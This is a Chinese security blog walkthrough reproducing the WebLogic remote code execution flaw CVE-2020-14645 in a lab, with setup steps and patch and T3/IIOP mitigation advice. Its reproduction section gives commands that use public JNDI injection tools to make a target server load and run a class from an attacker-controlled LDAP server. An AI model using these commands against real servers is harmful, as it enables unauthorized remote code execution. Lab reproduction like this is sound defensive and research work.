Weblogic远程代码执行漏洞复现(CVE-2020-14645)

  • A+
所属分类:安全文章

点击蓝字



关注我们



0x01简介


WebLogic是美国Oracle公司出品的一个application server,是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。Oracle WebLogic Server存在远程代码执行漏洞。攻击者可利用漏洞实现远程代码执行。

WebLogic优点

  • 标准

对业内多种标准的全面支持,包括EJB、JSP、Servlet、JMS、JDBC、XML(标准通用标记语言的子集)和WML,使Web应用系统的实施更为简单,并且保护了投资,同时也使基于标准的解决方案的开发更加简便。
  • 可扩展性

WebLogic Server以其高扩展的架构体系闻名于业内,包括客户机连接的共享、资源pooling以及动态网页和EJB组件群集。
  • 快速开发

凭借对EJB和JSP的支持,以及WebLogic Server 的Servlet组件架 构体系,可加速投放市场速度。这些开放性标准与WebGain Studio配合时,可简化开发,并可发挥已有的技能,迅速部署应用系统




0x02影响版本


Oracle WebLogic Server 10.3.6.0.0

Oracle WebLogic Server 12.1.3.0.0

Oracle WebLogic Server 12.2.1.3.0

Oracle WebLogic Server 12.2.1.4.0

Oracle WebLogic Server 14.1.1.0.0



0x03环境搭建


WebLogic 12.2.1.4官方下载地址:

https://www.oracle.com/webapps/redirect/signon?nexturl=https://download.oracle.com/otn/nt/middleware/12c/122140/fmw_12.2.1.4.0_wls_lite_Disk1_1of1.zip

下载JDK 6u211/7u201/8u191任意版本并配置环境变量

Jdk8下载地址:(本次环境使用windows搭建故下载windows版本)

链接:https://pan.baidu.com/s/1RHO-qBq2o3xu9Rs0KeMn-w提取码:ug20


1.Jdk8windows安装教程

下载jdk8后双击安装,选择选择默认路径即可,安装完JDK后要安装JRE,建议两个JDK和JRE安装路径并列(默认安装就是并列创建的,可以忽略这句)


Weblogic远程代码执行漏洞复现(CVE-2020-14645)

Weblogic远程代码执行漏洞复现(CVE-2020-14645)安装完成后,配置环境变量

打开环境变量配置。计算机→属性→高级系统设置→高级→环境变量,在系统变量中配置。

Weblogic远程代码执行漏洞复现(CVE-2020-14645)

添加系统变量,配置JAVA_HOME。新建变量名:JAVA_HOME,变量值:jdk安装路径


Weblogic远程代码执行漏洞复现(CVE-2020-14645)


新建环境变量CLASSPATH

变量名:CLASSPATH

变量值:.;%JAVA_HOME%libdt.jar;%JAVA_HOME%libtools.jar

需要注意变量值前面的“.;”


Weblogic远程代码执行漏洞复现(CVE-2020-14645)


path中添加 ;%JAVA_HOME%bin


Weblogic远程代码执行漏洞复现(CVE-2020-14645)


新开cmd窗口,输入 java -version,显示版本表示安装成功


Weblogic远程代码执行漏洞复现(CVE-2020-14645)


2.WebLogic安装教程

解压下载的WebLogic安装包,用管理员权限打开CMD命令,进入WebLogic

目录运行

java -jar fmw_12.2.1.4.0_wls_lite_generic.jar

Weblogic远程代码执行漏洞复现(CVE-2020-14645)


傻瓜式点击下一步即可,勾选自助启动配置向导选项


Weblogic远程代码执行漏洞复现(CVE-2020-14645)

Weblogic远程代码执行漏洞复现(CVE-2020-14645)


进入配置向导,创建新域并勾选全部模板,直至安装完成


Weblogic远程代码执行漏洞复现(CVE-2020-14645)

Weblogic远程代码执行漏洞复现(CVE-2020-14645)

Weblogic远程代码执行漏洞复现(CVE-2020-14645)


安装成功后,使用cd跳到base_domain目录下

C:OracleMiddlewareOracle_Homeuser_projectsdomainsbase_domain


Weblogic远程代码执行漏洞复现(CVE-2020-14645)


运行startWebLogic.cmd


Weblogic远程代码执行漏洞复现(CVE-2020-14645)


浏览器访问http://IP:7001端口,说明环境部署成功,注:要是显示404端口后加上7001/console/login/LoginForm.jsp


Weblogic远程代码执行漏洞复现(CVE-2020-14645)




0x04漏洞复现


使用JNDI工具搭建LDAP和HTTP服务,注意不能占用8180/1099/1389三个端口,修改要执行的命令后回车,会同时启动LDAP/RMI/HTTP三种服务,并且自动编译好带命令的class文件

JNDI工具下载地址:

https://github.com/welk1n/JNDI-Injection-Exploit

下载完成后进入目录编译

cd JNDI-Injection-Exploitmvn clean package -DskipTests

Weblogic远程代码执行漏洞复现(CVE-2020-14645)


编译完成后进入target,使用命令

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C [command] -A [address]

Weblogic远程代码执行漏洞复现(CVE-2020-14645)


然后使用CVE-2020-14645漏洞验证工具

下载地址:https://github.com/DSO-Lab/Weblogic_CVE-2020-14645

进入目录编译

cd Weblogic_CVE-2020-14645-mastermvn clean package -DskipTests

进入target

java -jar CVE-2020-14645.jar LDAP_IP:LDAP_PORT/#Exploit http://192.168.10.160:7001

Weblogic远程代码执行漏洞复现(CVE-2020-14645)

输入命令请求LDAP服务,执行自动编译的class文件,成功弹出计算器

Weblogic远程代码执行漏洞复现(CVE-2020-14645)



0x05修复方式


1.Oracle官方已经发布了安全公告及相关补丁信息,修复了此漏洞,建议受影响用户尽快升级到安全版本。

2.漏洞产生于WebLogic默认启用的T3协议,可限制T3访问来源阻止攻击。

3.禁用IIOP协议。




参考链接:

https://mp.weixin.qq.com/s/zXl-JEqB8w8xsmcbQId-tw

https://github.com/DSO-Lab/Weblogic_CVE-2020-14645

https://github.com/welk1n/JNDI-Injection-Exploit


Weblogic远程代码执行漏洞复现(CVE-2020-14645)



本文始发于微信公众号(凌晨安全):Weblogic远程代码执行漏洞复现(CVE-2020-14645)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: